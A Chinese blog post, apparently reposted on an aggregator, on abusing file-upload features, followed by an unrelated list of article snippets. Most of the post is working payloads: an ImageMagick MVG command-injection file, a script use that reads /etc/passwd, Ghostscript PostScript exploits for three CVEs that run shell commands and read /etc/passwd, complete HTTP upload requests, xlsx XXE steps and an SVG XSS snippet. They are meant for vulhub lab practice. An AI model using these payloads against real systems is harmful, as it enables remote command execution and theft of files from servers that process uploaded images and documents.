文件上传的另类应用

news2024/9/21 16:19:16

1.Imagemagick

CVE-2016-3714
CVE-2022-44268
CVE-2020-29599

可在vulhub靶场进行复现

1.1.Imagemagick简介

ImageMagic是一款图片处理工具,当传入一个恶意图片时,就有可能存在命令注入漏洞。
ImageMagick默认支持一种图片格式mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。
影响ImageMagick 6.9.3-9以前的所有版本

1.2.Imagemagick原理

ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的。

1.3.CVE-2016-3714漏洞复现

https://blog.csdn.net/m0_52923241/article/details/129931723

创建1个txt文件,文件内容如下,重命名为jpg,上传,查看DNSlog平台是否有数据

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/joker.jpg"|ping "DNSlog地址)'
pop graphic-context

在这里插入图片描述

1.4.CVE-2020-29599漏洞复现

鸡肋,无法利用

1.5.CVE-2022-44268ImageMagick任意文件读取漏洞

CVE-2022-44268:ImageMagick 7.1.0-49 容易受到信息泄露的攻击。当它解析PNG图像(例如,调整大小)时,生成的图像可能嵌入了任意远程文件的内容(如果ImageMagick二进制文件有权读取它)。
EXP:https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/poc.py
python -m pip install pypng -i https://pypi.tuna.tsinghua.edu.cn/simple
python poc.py generate -o poc.png -r /etc/passwd

在这里插入图片描述

将上传图像下载下来,使用脚本进行查看,即可实现任意文件读取
python poc.py generate -o poc.png -r /etc/passwd

在这里插入图片描述

2.GhostScript

CVE-2018-16509
CVE-2019-6116
CVE-2018-19475

2.1.CVE-2018-16509

创建1个png图片,内容为%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops  上传后查看返回包


POST / HTTP/1.1
Host: 192.168.214.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------331114540028326551992702503634
Content-Length: 442
Origin: http://192.168.214.130:8080
Connection: close
Referer: http://192.168.214.130:8080/
Upgrade-Insecure-Requests: 1

-----------------------------331114540028326551992702503634
Content-Disposition: form-data; name="file_upload"; filename="poc.png"
Content-Type: image/png

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
-----------------------------331114540028326551992702503634--

在这里插入图片描述

2.2.CVE-2018-19475

创建1个png文件,内容为%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file直接上传即可

POST / HTTP/1.1
Host: 192.168.214.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------500820396316754453354438613
Content-Length: 328
Origin: http://192.168.214.130:8080
Connection: close
Referer: http://192.168.214.130:8080/
Upgrade-Insecure-Requests: 1

-----------------------------500820396316754453354438613
Content-Disposition: form-data; name="file_upload"; filename="poc.png"
Content-Type: image/png

%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file
-----------------------------500820396316754453354438613--

在这里插入图片描述

2.3.CVE-2019-6116

POST / HTTP/1.1
Host: 192.168.214.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------2714102440226518071136189238
Content-Length: 2775
Origin: http://192.168.214.130:8080
Connection: close
Referer: http://192.168.214.130:8080/
Upgrade-Insecure-Requests: 1

-----------------------------2714102440226518071136189238
Content-Disposition: form-data; name="file_upload"; filename="111.png"
Content-Type: image/png

%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def

/exploit {
    (Stage 11: Exploitation...)=

    /forceput exch def

    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput

    % update
    save restore

    % All done.
    stop
} def

errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==

    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put

% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable arrays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop

(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=

% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile

(Attempting to execute a shell command...)= flush

% run command
(%pipe%id > /tmp/success) (w) file closefile

(All done.)=

quit
-----------------------------2714102440226518071136189238--

在这里插入图片描述

3.xlsx XXE

上传表格时可以进行测试

https://xz.aliyun.com/t/3741?time__1311=n4%2BxnD0DBDgDunCGkDlhAeoRAmIqGQD9Q3D&alichlgref=https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3DBt7jr6_lhz2EOGmyq3G_hz3h6Fz2wtdmzCEA_wn-SbMDmef7XAhcLyhIlTk1Mzcp%26wd%3D%26eqid%3D8a475c0f0073b7b200000005659e4cec

3.1.xlsx xxe制作

新建1个xlsx文件,重命名为xxe.zip,解压
在这里插入图片描述
解压后会产生这几个文件此时修改xl/workbook.xml并将以下内容插入第2行和第3行**
在这里插入图片描述

再次将文件压缩成xlsx文件,上传后看看dnslog地址有没有接收到请求
在这里插入图片描述

4.SVG XSS/PDF XSS

https://blog.csdn.net/weixin_50464560/article/details/123841210
在SVG图片中执行JS代码

<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
   <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
   <script>alert(1)</script>
</svg>

在这里插入图片描述

5.上传zip导致的任意文件读取漏洞

https://www.youtube.com/watch?v=mnUaDCNaYwg

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1424187.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

USTC ICS(2023Fall) Lab2 The PingPong Sequence

LC-3汇编语言 .ORIG x3000LDI R0,n ;f(n)NOT R0,R0ADD R0,R0,#1 ;取R0补码用于减法AND R1,R1,#0 ;R1记录循环次数,先初始化为0ADD R2,R1,#0 ;R2记录符号&#xff0c;加号为0,减号为-1,f(1)对应加号ADD R3,R1,#3 ;记录f(n),f(1)3AND R5,R5,#0 ;R5存0000 1111 1111 1111…

ubuntu20配置mysql8

首先更新软件包索引运行 sudo apt update命令。然后运行 sudo apt install mysql-server安装MySQL服务器。 安装完成后&#xff0c;MySQL服务将作为systemd服务自动启动。你可以运行 sudo systemctl status mysql命令验证MySQL服务器是否正在运行。 连接MySQL 当MySQL安装…

华为mate60 pro与小米14 pro 的巅峰对决

今天我们换下思路&#xff0c;不讲技术了&#xff01;我们一起讲讲手机&#xff01;小编暂时充当一下业余的数码咖。 今天我们就讲讲华为mate60 pro和小米14pro 这两款手机。这两款手机都是近期新出的发行版本&#xff0c;热度那是一直未减啊。 华为mate60 Pro 我们先说说这个…

gitlab-runner注册到gitlab时报错:ERROR: Registering runner... failed xxxxxxxx

天行健&#xff0c;君子以自强不息&#xff1b;地势坤&#xff0c;君子以厚德载物。 每个人都有惰性&#xff0c;但不断学习是好好生活的根本&#xff0c;共勉&#xff01; 文章均为学习整理笔记&#xff0c;分享记录为主&#xff0c;如有错误请指正&#xff0c;共同学习进步。…

CRG设计之时钟

1. 前言 CRG(Clock and Reset Generation&#xff0c;时钟复位生成模块) 模块扮演着关键角色。这个模块负责为整个系统提供稳定可靠的时钟信号&#xff0c;同时在系统上电或出现故障时生成复位信号&#xff0c;确保各个模块按预期运行。简而言之&#xff0c;CRG模块就像是SoC系…

Advanced CNN

文章目录 回顾Google NetInception1*1卷积Inception模块的实现网络构建完整代码 ResNet残差模块 Resedual Block残差网络的简单应用残差实现的代码 练习 回顾 这是一个简单的线性的卷积神经网络 然而有很多更为复杂的卷积神经网络。 Google Net Google Net 也叫Inception V…

第一集《修道宗范》

当家师父慈悲&#xff0c;诸位法师、诸位新戒、诸位在家菩萨&#xff0c;阿弥陀佛 今天学人跟大家研究的主题是《修道宗范》。很多人都会认为&#xff1a;所有的宗教都是劝人为善&#xff0c;所以佛教的修学跟一般的宗教&#xff0c;完全是一样的。其实&#xff0c;这个观念只…

Centos慢慢长大(一)

1、写在前面 这将是一个系列性的文章。可能更多的是记录我在学习的过程中的一些感悟吧。我想强调的是在这一系列文章里我会从最小化的安装开始&#xff0c;然后逐渐的增加需要安装的软件。就象一个婴儿的诞生&#xff0c;慢慢的学走路、学说话、学使用筷子。。。。。。 这将是一…

离谱题 3236:练39.1 书香阁座位

3236正常写法 #include<bits/stdc.h> using namespace std; int main() {int sum,a,b;a1;b10;sumb;cout<<a<<" "<<b;cout<<" "<<sum<<endl;do{a;b2;sumx;cout<<a<<" "<<b<<&…

升级企业战略,思腾合力布局智能生产基地

一直专注于人工智能领域&#xff0c;提供云计算、AI服务器、AI工作站、系统集成、产品定制、软件开发、边缘计算等产品和整体解决方案&#xff0c;致力于成为行业领先的人工智能基础架构解决方案商。 升级企业战略 布局智能生产基地 “十四五”时期&#xff0c;是乘势而上打造…

力扣hot100 不同路径 多维DP 滚动数组 数论

Problem: 62. 不同路径 文章目录 思路解题方法复杂度朴素DP 思路 讲述看到这一题的思路 解题方法 &#x1f468;‍&#x1f3eb; 卡尔一题三解 复杂度 时间复杂度: &#xff1a; O ( n m ) O(nm) O(nm) 空间复杂度: O ( n m ) O(nm) O(nm) 朴素DP class Solution {p…

【Qt学习笔记】(一)初识Qt

Qt学习笔记 1 使用Qt Creator 新建项目2 项目代码解释3 创建第一个 Hello World 程序4 关于内存泄漏问题5 Qt 中的对象树6 关于 qDebug&#xff08;&#xff09;的使用7 使用其他方式创建一个 Hello World 程序&#xff08;编辑框和按钮方式&#xff09;8 关于 Qt 中的命名规范…

操作系统基础:死锁

&#x1f308;个人主页&#xff1a;godspeed_lucip &#x1f525; 系列专栏&#xff1a;OS从基础到进阶 &#x1f426;1 死锁的概念&#x1f9a2;1.1 总览&#x1f9a2;1.2 什么是死锁&#x1f9a2;1.3 死锁、饥饿、死循环的区别&#x1f427;1.3.1 概念&#x1f427;1.3.2 区别…

#RAG|NLP|Jieba|PDF2WORD# pdf转word-换行问题

文档在生成PDF时,文宁都发生了什么。本文讲解了配置对象、resources对象和content对象的作用,以及字体、宇号、坐标、文本摆放等过程。同时,还解释了为什么PDF转word或转文字都是一行一行的以及为什么页眉页脚的问题会加大识别难度。最后提到了文本的编码和PDF中缺少文档结构标…

7zip压缩包乱码问题

打开压缩包查看或解压时&#xff0c;发现其中的文件名显示乱码。 经网络搜索&#xff0c;判断是编码的问题。因为我OS是UTF-8&#xff0c;而压缩包编码是CP936。 解决方法只能用命令行&#xff0c;-mcp指定了code page&#xff1a; "c:\Program Files\7-Zip\7z.exe&quo…

阿里云智能集团副总裁安筱鹏:企业数字化的终局是什么?

以下文章来源于数字化企业 &#xff0c;作者安筱鹏博士 回答数字化终局追问的起点是&#xff0c;企业需要重新定义我是谁。成为有竞争力的行业领导厂商&#xff0c;你应当成为一个客户运营商&#xff0c;即能够实时洞察、实时满足客户需求&#xff0c;追求极致的客户体验。而要…

12.scala下划线使用总结

目录 概述实践变量初始化导包引入方法转变为函数用户访问Tuple元素简化函数参数传递定义偏函数变长参数 结束 概述 实践 变量初始化 在Scala中&#xff0c;变量在声明时需要显式指定初始值。可以使用下划线为变量提供初始值&#xff0c;但这种语法仅限于成员变量&#xff0c;…

抠门精出游记第三天

熊野古道&#xff0c;最早我是在新加坡地铁站看到的日本旅游广告上出现的&#xff0c;我觉得以前很多次自由行都是打卡式的&#xff0c;觉得确实需要一些深度游&#xff0c;而且趁着身体状态还可以&#xff0c;反正就这么种草了。 然后小红书上看到不少有关行程介绍&#xff0c…

npm i 遇到了 npm ERR! code CERT_HAS_EXPIRED

npm i 遇到了 npm ERR! code CERT_HAS_EXPIRED 更新你的系统时间【命令 date】。确保你的计算机上的时间和时区设置正确&#xff0c;并且与当前时间相符。 清除你的 npm 缓存。使用 npm cache clean --force 命令清除你的 npm 缓存&#xff0c;关闭ssl验证&#xff0c;并重新运…

使用 Docker 部署超级马里奥 Web 游戏

一、游戏介绍 超级马里奥 是一款经典闯关游戏&#xff0c;也叫做超级玛丽。由红白机 FC 游戏移植而来&#xff0c;简约的游戏画面&#xff0c;加上简单的操作方式&#xff0c;让你重温儿时的经典。 二、环境检查 1&#xff09;检查操作系统版本 检查本次实践的操作系统版本 ca…